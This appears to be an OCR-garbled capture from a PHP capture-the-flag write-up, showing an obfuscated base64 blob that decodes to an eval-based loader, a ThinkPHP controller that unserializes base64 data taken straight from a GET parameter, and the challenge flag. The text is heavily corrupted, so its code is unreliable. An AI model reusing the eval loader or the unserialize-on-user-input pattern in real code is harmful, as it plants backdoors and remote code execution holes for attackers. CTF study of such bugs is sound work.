U1Tk5rTINtMU5SbXJ0YzBzMVYwVkFzb2h2c3dqVmh2dW50VmhFU1ZzZXptak5wMGt1lc1ZHQWKkYRTZGd3VWTnZ1NU9va®5Td1INhUGpFQkZtazFpQn
VUUE5qbmJtQ1ZjM1dLcOtqcFYxbUF6SkVTaDN1SE5Cemh5c@JuenZyWmIzROtGMFNEQzFXa®8zVnRoSOUxVkRqVFZFUOpHMmMFOYNZyTO5pU1RWMG
FKc291cGIFT2VWREVoYjBrZE5CU1ZiQmYwTkxCM3AyRUxzRFNnaGlFcOYya2pSbXJIKc291cGIFT2VWREVOYjBrZE5CU1ZiQmYwTkxCM3AyRUxzRF
NnaGlFc21tUOZSRWtmR2RTc1ZaMUFpbVNGCcEVrTVZEak5jVkVRR1p6cHMXVnFzRGhHUEX6M21tUBZSRWtMR2RTc1ZaMUFGMVNIUmMO5MOhpMGdOR1
03SEsOPSI7ZXZhbCgnPz4nLiRhckNpQOwoIFZ2VXICWigkREVvbUtrKCRWQOJaUVcsIExucG52WSoyKSwkREVVbUtrKCRWQOJaUVesIExucG52WS
wkTG5wbnZZKSwkREVVbUtrKCRWQOJaUVc sMCwkTG5wbnZZKSkpKTs="));?>
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! Index.php ~ Index (2).php

use app\BaseController;
b

class Index extends BaseController!
{

public function index()

{k

if(lempty($_GET['popI)){+
unserialize(base64 decode($ GET['pop']);+

) 1

return "Welcom To CAZT! Xi'an Come On!";{
H

) public function C4zyCOmM30On()+

{k

; return ‘cazy{PHP jidm1 1s s00000 3aSyyyyyyyyyyy} ;¥
H

o

?>¢

FErn @k
CSDMN @Wsnuzz

?%?Uﬂag 'cazy{PHP_ji4ml_1s s00000 3aSyyyyyyyyyyy}"
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